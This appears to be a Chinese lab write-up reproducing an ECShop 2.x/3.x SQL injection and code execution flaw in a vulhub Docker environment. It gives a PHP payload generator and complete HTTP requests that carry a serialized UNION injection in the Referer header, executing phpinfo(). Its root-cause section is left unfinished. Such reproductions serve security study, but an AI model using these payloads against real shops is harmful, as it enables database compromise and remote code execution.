ECShop 2.x/3.x SQL注入/任意代码执行漏洞

ECShop 2.x/3.x SQL注入/任意代码执行漏洞

1.漏洞影响版本

ECShop 2.x/3.x

2.漏洞危害

SQL注入/任意代码执行漏洞

3.漏洞POC

cd /root/vulhub/ecshop/xianzhi-2017-02-82239600        //进入本次复现的漏洞目录
docker-compose up -d                                   //docker-compose搭建环境

环境启动后，访问http://your-ip:8080将看到2.7.3的安装页面，访问http://your-ip:8081将看到3.6.0的安装页面。依次安装二者，mysql地址填写mysql，mysql账户与密码均为root，数据库名随意填写，但2.7.3与3.6.0的数据库名不能相同。如图：

安装页面

PHP脚本，可以生成2.x和3.x的POC：

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

2.X执行如下数据包，cookie一定要使用自己的，不然会408超时

GET /user.php?act=login HTTP/1.1
Host: 192.168.11.160:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Drupal.toolbar.collapsed=0; SESS045e0cc445119bfd4fc8e3ee9c861e4d=ngcBCodrWwbvlIzXZ22ibaJ4kZz12fJsByVWYhH8Ik4; SESS2a236bd3c90d3c3aa057bef7c5174514=01Mp_Bs_jcGw2JS_DJRLylz-QOGzd_9LbwLBKuKnmes; PHPSESSID=00ba04f517c2cd2fbdbff630acb931bc; ECS[visit_times]=2; ECS_ID=359abfcfba2f82efb2fcaf650b88c92fd2643565
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
Upgrade-Insecure-Requests: 1

2.X执行成功

3.X执行如下数据包，cookie一定要使用自己的，不然会408超时

GET /user.php?act=login HTTP/1.1
Host: 192.168.11.160:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Drupal.toolbar.collapsed=0; SESS045e0cc445119bfd4fc8e3ee9c861e4d=ngcBCodrWwbvlIzXZ22ibaJ4kZz12fJsByVWYhH8Ik4; SESS2a236bd3c90d3c3aa057bef7c5174514=01Mp_Bs_jcGw2JS_DJRLylz-QOGzd_9LbwLBKuKnmes; PHPSESSID=00ba04f517c2cd2fbdbff630acb931bc; ECS[visit_times]=3; ECS_ID=359abfcfba2f82efb2fcaf650b88c92fd2643565
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

3.X执行成功

4.复盘

漏洞出现原因
参考URL:阿里云
总结
反序列化？？？